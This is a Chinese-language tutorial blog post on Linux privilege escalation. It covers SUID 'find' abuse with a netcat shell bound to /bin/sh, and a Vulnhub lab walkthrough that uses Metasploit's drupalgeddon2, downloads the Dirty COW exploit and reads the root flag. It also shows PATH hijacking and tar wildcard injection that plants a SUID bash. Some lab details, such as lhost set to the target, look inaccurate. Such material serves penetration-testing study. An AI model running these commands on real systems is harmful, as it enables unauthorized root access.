Linux提权

目录

​编辑

一、信息收集&Linux脏牛内核漏洞&SUID

1.信息收集

2.SUID提权

案例:

1)SUID提权配合脚本

2)本地配合内核漏洞

3)脏牛内核漏洞演示-linux-exploit-suggester

二、定时任务&环境变量&数据库

1.环境变量(这个属于本地提权-比较鸡肋)

2.定时任务

       第一种通配符注入(WS注入)

        第二种权限问题


一、信息收集&Linux脏牛内核漏洞&SUID

1.信息收集

信息收集命令:权限提升-linux提权手法总结

自动化脚本

信息收集:LinEnum、linuxprivchecker

作用:为后续提权做准备

漏洞探针:linux-exploit-suggester、linux-exploit-suggester2

作用:用户内核提权,判定操作系统可能存在的漏洞

脚本介绍:

LinEnum

通过webshell上传到tmp文件夹,赋予执行权限chmod +x LinEnum.sh,执行./LinEnum;LinEnum会列出目标机器的信息

linuxprivchecker

上传到tmp目录,执行文件 python linuxprivchecker.py;脚本会列出目标机器的信息,但是不像LinEnum有颜色标识

linux-exploit-suggester

上传到tmp目录,执行./linux-exploit-suggester.sh,脚本会输出内核等信息和可能存在的漏洞和exp的下载地址。橙色标签更符合目标机情况

linux-exploit-suggester2

通过websell或者文件上传linux-exploit-suggester-2.pl 到tmp文件夹,这里需要目标机器上有perl(语言)

执行perl linux-exploit-suggester-2.pl 会直接报告可能的漏洞和exp地址

2.SUID提权

SUID是一种特殊权限。设置了SUID的文件用户执行时会拥有该程序属主的权限。比如/usr/bin/passwd文件,用户执行时获得了root权限,从而能更改密码,或者赋予权限"chmod u+s [文件名]"

案例

1)SUID提权配合脚本

find命令参数

语法:find  [path...]  [expression]

. 为当前路径   /为根目录   expression为参数

expressions:

-name   按文件名查找

-perm    按文件权限查找,4000,2000,1000为分别表示SUID,SGID,SBIT

-user     按文件属主查找

-size n  文件大小是n个单位

-type     d(目录)  f(文件)  c(字符设备文件)   b(块设备文件)

-print     将匹配的文件输出的标准输出

-exec    find命令对匹配的文件执行该参数所给出的shell命令

             :find [path] [expressions] 搜索内容  -exec 命令2 {} \;

                    {} 和  \; 是标准格式,执行-exec这两个符号必须完整输入。其次,这个选项的作用其实是把 find 命令的结果交给由"-exec"调用的命令 2 来

                    处理。"{}"就代表 find 命令的査找结果。

-ok         同-exec,不过-ok选项会在操作前进行确认

提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜-GG

确定是否有SUID,利用脚本或下面的命令手工确定

    find / -user root -perm -4000 -print 2>/dev/null          //重定向错误输出,/dev/null是个黑洞,其中任何数据都会被丢弃,2>/dev/null删除错误信息

    find / -perm -u=s -type f 2>/dev/null

    find / -user root -perm -4000 -exec ls -ldb {} \;

在找出来的SUID中找Nmap、Vim、find、Bash、More、Less、Nano、cp

根据命令的不同使用不同的方法提权,详见参考文献

以下为find命令的SUID提权方法

创建名为“xiaodi”的文件,叫什么都行

    touch xiaodi

借find命令的“-exec”参数执行命令“whoami”,确定执行“find”时为root权限

    find xiaodi -exec whoami \;

借find命令的“-exec”参数执行命令,形成一个反弹

    find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;

接受反弹,享受反弹的root权限

    netcat xx.xx.xx.xx 5555

参考利用:https://pentestlab.blog/2017/09/25/suid-executables/

2)本地配合内核漏洞

提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG

连接,下载或上传探测漏洞的脚本,并运行

根据提示的漏洞信息下载或上传EXP,这里EXP文件的名字叫“45010.c”,使用EXP

    gcc 45010.c -o 45010

    chmod +x 45010

    ./45010

最后确定是否提权成功

    id

3)脏牛内核漏洞演示-linux-exploit-suggester

脏牛判断:

判断内核:

              Debian运行命令 uname -v

              Ubuntu/Centos/RHEL运行命令 uname -r

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

内核提权整个过程:(linux-exploit-suggester获取信息)

                               vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG

内核漏洞提权过程:寻找可用exp-下载exp-上传至/tmp-编译exp-执行(无权限用chmod)

nmap扫描网段寻找存活IP,扫描端口寻找存活端口,注意这里“-p1-65535”是扫描从1到65535的所有端口

    nmap 192.168.76.0/24

    nmap -p1-65535 192.168.76.141

首先发现192.168.76.141,开放的80端口,可以访问。在端口扫描中发现开放的1898端口并可以访问。1898端口的网页中有“Powered by Drupal”字样,搜索“drupal”确定是CMS。搜索drupal CMS的漏洞,可以在搜索引擎搜,或在msf搜索

    search drupal

根据msf搜索的结果,使用一个exp

    use exploit/unix/webapp/drupal_drupalgeddon2

显示设置,并设置好IP端口等信息,执行

    show options

    set lhost 192.168.76.141

    set lport 1898

    exploit

发现攻击成功,确定现有权限

    getuid

只有web权限,提权

上传漏洞探针脚本

    upload /root/linux-exploit-suggester.sh /tmp/1.sh

为脚本添加运行权限,执行

    chmod +x 1.sh

    ./1.sh

在回复的信息中寻找合适的漏洞

发现了CVE-2016-5195 dirtycow 脏牛漏洞,决定使用该漏洞

下载或上传exp

    wget https://www.exploit-db.com/download/40611

    upload /tmp/40847.cpp /tmp/40847.cpp

C++需要编译

   # -Wall:打印警告信息    -pedantic:允许发出ANSI/ISO C标准所列出的所有警告 O2:优化代码   -std:设置编译标准

   # -o dcow gcc生成的目标文件,名字为dcow

   # g++格式:g++ [options]  file

   # -pthread:在Linux中要用到多线程时,需要链接pthread库

    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

该exp需要一个交互式的终端,不然无法正常执行。这里开一个虚拟的交互终端

    python -c 'import pty; pty.spawn("/bin/bash")'

运行

    ./dcow

运行成功,dcow回显了一个root密码,用它登录

    su root

在root文件夹下有flag

    cat  /root/flag.txt

涉及的资源:

LinEnum:https://github.com/rebootuser/LinEnum

LAMPIÃO: 1(vulnhub的靶场):https://www.vulnhub.com/entry/lampiao-1,249/

Behinder冰蝎:https://github.com/rebeyond/Behinder

linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester

Linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker

SUID Executables:https://pentestlab.blog/2017/09/25/suid-executables/

linux-exploit-suggester-2:https://github.com/jondonas/linux-exploit-suggester-2

Ubuntu 16.04漏洞复现(CVE-2017-16995):https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe

二、定时任务&环境变量&数据库

1.环境变量(这个属于本地提权-比较鸡肋)

前提:SUID配合环境变量而且是本地用户环境下

过程:手写调用文件-编译-复制文件-增加环境变量-执行

//demo.c文件
#include<unistd.h>
void main(){
  setuid(0);
  setgid(0);
  system("ps");
}
#手写一个c语言文件,并上传编译为shell文件
gcc demo.c -o shell 
#复制到目录
#将/bin/sh 复制到/tmp下改名ps,到/tmp目录下输入ps执行的是ps,输入./ps执行的是sh
cp /bin/sh /tmp/ps
#导入环境变量,类似windows配环境变量,直接命令下就能执行某文件,kali里各种工具都是如此
#导入环境变量以后,输入ps,会执行/tmp目录下的ps
export PATH=/tmp:$PATH 
#执行当前目录shell文件
./shell  
id

注:ps有suid权限

       这个提权需要两个条件:1.赋值了SUID权限   2.需要本地用户(如果是webshell权限export导入环境变量时会失败)

解惑:这里有一点,这个shell是用户自己创建的,shell执行ps;我们是把sh复制到tmp目录下命名为ps,然后加入到环境变量,shell执行的ps就变成了 sh 

2.定时任务

       第一种通配符注入(WS注入)

提权条件:有通配符的可以调用其他命令的命令被放入计划任务中
提权原理:利用通配符配合命令参数自定义命令实现提权;可以将通配符所匹配的内容写成命令的                   参数,调用其他命令
提权过程

我们首先假设目标机器上有类似如下带有通配符的任务
不安全定时任务备份命令:
    cd /home/undead/script;tar czf /tmp/backup.tar.gz *
新建“test.sh”,其中有获取root权限的命令
    echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
新建两个文件,文件名代替通配符时会和命令组合成新命令,执行“test.sh”
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
等到定时任务完成,调用已经获得root权限的bash
    ./bash -p             

        第二种权限问题

原理:利用不安全的权限分配操作导致定时文件覆盖,管理员没有给予正确的权限,给了文件777权限,那么定时任务就可以被修改,   进行提权

3.案例:Linux提权数据库MYSQL_UDF-Vulnhub

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

废物小袁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值